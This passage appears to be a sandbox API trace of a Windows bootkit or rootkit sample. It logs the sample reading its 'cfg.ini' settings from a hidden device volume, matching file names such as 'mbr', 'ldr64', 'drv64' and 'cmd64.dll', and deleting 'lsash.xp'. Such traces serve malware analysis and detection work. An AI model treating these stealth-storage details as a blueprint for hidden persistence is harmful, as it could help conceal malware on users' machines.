FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.567] KeLeaveCriticalRegion () [0129.567] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.567] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.568] KeEnterCriticalRegion () [0129.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.568] ExFreePoolWithTag (P=0xfffffa8003c06fb0, Tag=0x0) [0129.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.568] KeLeaveCriticalRegion () [0129.568] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.568] ReleaseMutex (hMutex=0xf0) returned 1 [0129.568] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.568] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.568] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.568] KeEnterCriticalRegion () [0129.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.568] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.568] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.568] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.568] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.568] IdePortDispatch () returned 0x103 [0129.568] KeWaitForMutexObject () returned 0x0 [0129.568] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.568] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.568] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.568] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.568] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.568] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02a10 [0129.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.568] KeLeaveCriticalRegion () [0129.568] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.568] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.568] KeEnterCriticalRegion () [0129.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.568] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.569] KeLeaveCriticalRegion () [0129.569] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.569] KeEnterCriticalRegion () [0129.569] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.569] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.569] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.569] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.569] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.569] IdePortDispatch () returned 0x103 [0129.569] KeWaitForMutexObject () returned 0x0 [0129.569] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.569] KeLeaveCriticalRegion () [0129.569] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.569] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.569] KeEnterCriticalRegion () [0129.569] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.569] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c14000 [0129.569] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.569] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.569] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.569] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.569] IdePortDispatch () returned 0x103 [0129.569] KeWaitForMutexObject () returned 0x0 [0129.569] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.570] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.570] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.570] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.570] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.570] IdePortDispatch () returned 0x103 [0129.570] KeWaitForMutexObject () returned 0x0 [0129.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.570] KeLeaveCriticalRegion () [0129.570] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.570] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.570] KeEnterCriticalRegion () [0129.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.570] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.570] KeLeaveCriticalRegion () [0129.571] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.571] KeEnterCriticalRegion () [0129.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.571] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.571] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.571] KeLeaveCriticalRegion () [0129.571] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.571] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.571] KeEnterCriticalRegion () [0129.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.571] ExFreePoolWithTag (P=0xfffffa8003c02a10, Tag=0x0) [0129.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.571] KeLeaveCriticalRegion () [0129.571] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.571] ReleaseMutex (hMutex=0xf0) returned 1 [0129.571] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.571] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.571] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.571] KeEnterCriticalRegion () [0129.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.571] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.571] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.571] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.571] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.571] IdePortDispatch () returned 0x103 [0129.571] KeWaitForMutexObject () returned 0x0 [0129.571] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.571] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.571] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.571] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.571] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.572] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c054c0 [0129.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.572] KeLeaveCriticalRegion () [0129.572] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.572] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.572] KeEnterCriticalRegion () [0129.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.572] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.572] KeLeaveCriticalRegion () [0129.572] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.572] KeEnterCriticalRegion () [0129.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.572] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.572] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.572] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.572] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.572] IdePortDispatch () returned 0x103 [0129.572] KeWaitForMutexObject () returned 0x0 [0129.572] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.572] KeLeaveCriticalRegion () [0129.572] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.572] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.572] KeEnterCriticalRegion () [0129.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.572] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c15000 [0129.572] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.572] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.572] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.572] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.572] IdePortDispatch () returned 0x103 [0129.573] KeWaitForMutexObject () returned 0x0 [0129.573] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.573] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.573] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.573] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.573] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.573] IdePortDispatch () returned 0x103 [0129.573] KeWaitForMutexObject () returned 0x0 [0129.573] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.573] KeLeaveCriticalRegion () [0129.573] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.574] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.574] KeEnterCriticalRegion () [0129.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.574] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.574] KeLeaveCriticalRegion () [0129.574] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.574] KeEnterCriticalRegion () [0129.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.574] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.574] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05580, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.574] KeLeaveCriticalRegion () [0129.574] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.574] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.574] KeEnterCriticalRegion () [0129.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.574] ExFreePoolWithTag (P=0xfffffa8003c054c0, Tag=0x0) [0129.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.574] KeLeaveCriticalRegion () [0129.574] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.574] ReleaseMutex (hMutex=0xf0) returned 1 [0129.574] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.574] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.574] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.574] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.574] KeEnterCriticalRegion () [0129.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.574] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.574] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.574] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.574] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.574] IdePortDispatch () returned 0x103 [0129.574] KeWaitForMutexObject () returned 0x0 [0129.575] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.575] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.575] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.575] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.575] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.575] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.575] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.575] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.575] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.575] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.575] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.575] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.575] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.575] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.575] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.575] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.575] KeLeaveCriticalRegion () [0129.575] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.575] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.575] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.575] KeEnterCriticalRegion () [0129.575] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.575] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.575] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.575] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.575] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.575] IdePortDispatch () returned 0x103 [0129.575] KeWaitForMutexObject () returned 0x0 [0129.575] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.575] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.576] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.576] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.576] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.576] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.576] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.576] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.576] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.576] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.576] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.576] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.576] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.576] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.576] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.576] KeLeaveCriticalRegion () [0129.576] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.576] ReleaseMutex (hMutex=0x100) returned 1 [0129.576] Sleep (dwMilliseconds=0x2bf20) [0129.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x706fd5f0, dwHighDateTime=0x1d24fa4)) [0129.584] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.584] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.584] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.584] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.584] KeEnterCriticalRegion () [0129.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.584] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.584] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.584] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.584] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.584] IdePortDispatch () returned 0x103 [0129.584] KeWaitForMutexObject () returned 0x0 [0129.585] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.585] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.585] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.585] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.585] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.585] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05ac0 [0129.585] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.585] KeLeaveCriticalRegion () [0129.585] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.585] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.585] KeEnterCriticalRegion () [0129.585] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.585] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.585] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.585] KeLeaveCriticalRegion () [0129.585] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.585] KeEnterCriticalRegion () [0129.585] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.585] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.585] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.585] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.585] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.585] IdePortDispatch () returned 0x103 [0129.585] KeWaitForMutexObject () returned 0x0 [0129.585] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.585] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.585] KeLeaveCriticalRegion () [0129.585] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.585] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: 